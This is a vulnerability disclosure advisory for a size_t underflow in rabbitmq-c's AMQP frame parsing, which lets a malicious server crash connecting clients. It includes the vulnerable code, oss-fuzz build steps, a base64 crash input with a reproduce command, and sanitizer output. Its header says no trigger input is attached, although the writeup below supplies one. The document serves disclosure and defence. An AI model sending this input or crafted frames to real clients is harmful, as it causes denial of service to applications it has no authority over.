ANT-2026-GTGXBRXN · rabbitmq-c
integer-underflow medium
Severity Claude medium · Security research firm medium · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Trail of Bits.
ANT-2026-GTGXBRXN: size_t underflow in AMQP frame length computation leading to massive out-of-bounds read
A size_t underflow when computing the length of an AMQP frame results in a massive out-of-bounds read.
Target
Project: rabbitmq-c
Discovery: static analysis — not yet dynamically reproduced
Reproduction
This finding was identified by static analysis and has not yet been dynamically reproduced. A trigger input is not included.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-GTGXBRXN.
Reference: ANT-2026-GTGXBRXN
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Trail of Bits. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- medium
Summary
A malicious AMQP server can send an undersized AMQP frame to a rabbitmq-c client and trigger an unsigned size_t underflow during frame parsing. The underflowed length is then used by the AMQP properties and table decoder, leading to an out-of-bounds read and process crash.
The issue is reachable during the client login flow when a victim application connects to an attacker-controlled AMQP server, or when an active network attacker can modify traffic on an unencrypted AMQP connection.
Details
The vulnerable code is in librabbitmq/amqp_connection.c, inside amqp_handle_input().
For AMQP HEADER frames, the parser computes the encoded properties length like this:
encoded.bytes = amqp_offset(raw_frame, HEADER_SIZE + 12);
encoded.len = state->target_size - HEADER_SIZE - 12 - FOOTER_SIZE;
encoded.len is a size_t. If state->target_size is smaller than HEADER_SIZE + 12 + FOOTER_SIZE, the subtraction wraps to a very large unsigned value.
For example, the verified testcase uses a HEADER frame where state->target_size is 19 bytes:
19 - 7 - 12 - 1 = -1
As an unsigned size_t, this becomes 0xffffffffffffffff. The value is passed into amqp_decode_properties() and then into the table decoder. Bounds checks that compare offsets against encoded.len no longer stop the parser, so it reads far past the received frame buffer and crashes.
The same pattern exists for METHOD frames:
encoded.len = state->target_size - HEADER_SIZE - 4 - FOOTER_SIZE;
PoC
The testcase was verified against the commit above with the oss-fuzz fuzz_server target built with AddressSanitizer.
Build the fuzzer:
git clone https://github.com/google/oss-fuzz.git
cd oss-fuzz
Pin projects/rabbitmq-c/Dockerfile to the validated vulnerable commit:
RUN git clone https://github.com/alanxz/rabbitmq-c librabbitmq/ && \
cd librabbitmq && \
git checkout 8b7471eab8d09536b3c104dbb30a65699cf48104
Then build:
python3 infra/helper.py build_fuzzers --sanitizer address rabbitmq-c
Save the attached testcase in the oss-fuzz directory as reproducer.bin, then run:
printf '%s' 'AQAAAAAAVgAKAAoACQAAADo3SyAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFPeqzawAAAAAAAAAAAAAHQBAAAABVBMQUlOAAAABWVuX1VTzgIAAAAAAAsAPAAAAAAAAAAAAM4=' | base64 -d > reproducer.bin
python3 infra/helper.py reproduce rabbitmq-c fuzz_server ./reproducer.bin
Expected result: AddressSanitizer reports a SEGV caused by a READ in amqp_d8, reached from amqp_decode_table_internal() after encoded.len underflows to 0xffffffffffffffff.
We have attached a zip containing:
- Full technical details of each finding
- Reproduction steps and proof-of-concept where applicable
- Candidate patch(es) with regression tests
Sanitizer output
AddressSanitizer:DEADLYSIGNAL
=================================================================
==14==ERROR: AddressSanitizer: SEGV on unknown address 0x7f10dccbbeef
==14==The signal is caused by a READ memory access.
SCARINESS: 20 (wild-addr-read)
#0 0x55555574a8e0 in amqp_d8 librabbitmq/amqp_private.h:219:3
#1 0x55555574a8e0 in amqp_decode_8 librabbitmq/amqp_private.h:287:1
#2 0x55555574a8e0 in amqp_decode_table_internal librabbitmq/amqp_table.c:124:10
#3 0x555555732eaf in amqp_decode_properties librabbitmq/amqp_framing.c:1505:21
#4 0x555555726ffe in amqp_handle_input librabbitmq/amqp_connection.c:347:17
#5 0x555555745ec9 in consume_one_frame librabbitmq/amqp_socket.c:638:9
#6 0x555555745ec9 in wait_frame_inner librabbitmq/amqp_socket.c:747:13
#7 0x555555749efb in amqp_simple_wait_frame_noblock librabbitmq/amqp_socket.c:929:12
#8 0x555555749efb in amqp_simple_wait_method_list librabbitmq/amqp_socket.c:947:9
#9 0x5555557490fc in amqp_login_inner librabbitmq/amqp_socket.c:1349:11
#10 0x55555574861a in amqp_login librabbitmq/amqp_socket.c:1444:9
#11 0x555555723f37 in client fuzz/fuzz_server.c:149:3
#12 0x555555723d03 in LLVMFuzzerTestOneInput fuzz/fuzz_server.c:117:3
DEDUP_TOKEN: amqp_d8--amqp_decode_8--amqp_decode_table_internal
==14==Register values:
rax = 0x0000000000000000 rbx = 0xffffffffffffffff rcx = 0x0000000000000021 rdx = 0x00000000000009c8
rdi = 0x0000080000000000 rsi = 0x0000000200000000 rbp = 0x00007ffffffceb70 rsp = 0x00007ffffffceaf0
r8 = 0x00005555557cdc00 r9 = 0x0000000000000021 r10 = 0x00007fffffffff01 r11 = 0x0000000000000001
r12 = 0x00007f10dccbbeef r13 = 0x00000000deab36dd r14 = 0x00007ffffec40460 r15 = 0x00000000ffffff06
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV librabbitmq/amqp_private.h:219:3 in amqp_d8
==14==ABORTING
Impact
Any application using rabbitmq-c as an AMQP client can be affected if it connects to an attacker-controlled AMQP server. An active network attacker may also be able to trigger the issue when the connection is not protected by TLS with certificate validation.
The demonstrated impact is client-side denial of service through a remote out-of-bounds read and crash. The reproduced crash shows attacker-influenced parsing state and an underflowed length of 0xffffffffffffffff, but this analysis does not show reliable memory disclosure or code execution.
Background of that issue This bug was found as a part of an Anthropic research into the use of large language models for automated vulnerability discovery in open source software. Anthropic then engaged Trail of Bits to independently triage and validate those issues.
Thank you for your work on rabbitmq-c!
Recorded dates, in order.
- 2026-03-29 Discovered or logged
- 2026-04-09 Sent to maintainer
- 2026-05-07 Maintainer acknowledged
- 2026-05-07 Patch released
- 2026-08-17 Publicly revealed
SHA-3-512 hash:
3033221594ae12c1cf323741eecb09d2bcd009e6ee6b2b7e464106d5bd6e6e7766637589d331edbd33be4041134f0722bc6d23d07a39887eed90541a0c797f77
Committed 2026-04-09 18:50 UTC
Revealed 2026-08-17 17:47 UTC
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-GTGXBRXN",
"bug_class": "Integer Underflow",
"claude_severity": "medium",
"commit_sha": null,
"created_at": "2026-03-29T20:43:24+00:00",
"description": "A size_t underflow when computing the length of an AMQP frame results in a massive out-of-bounds read.",
"discovered_at": null,
"location": null,
"poc_sha256": null,
"preimage_version": 1,
"project": "rabbitmq-c",
"reproduction": null,
"technical_details": null,
"title": "size_t underflow in AMQP frame length computation leading to massive out-of-bounds read",
"vendor_severity": "medium"
}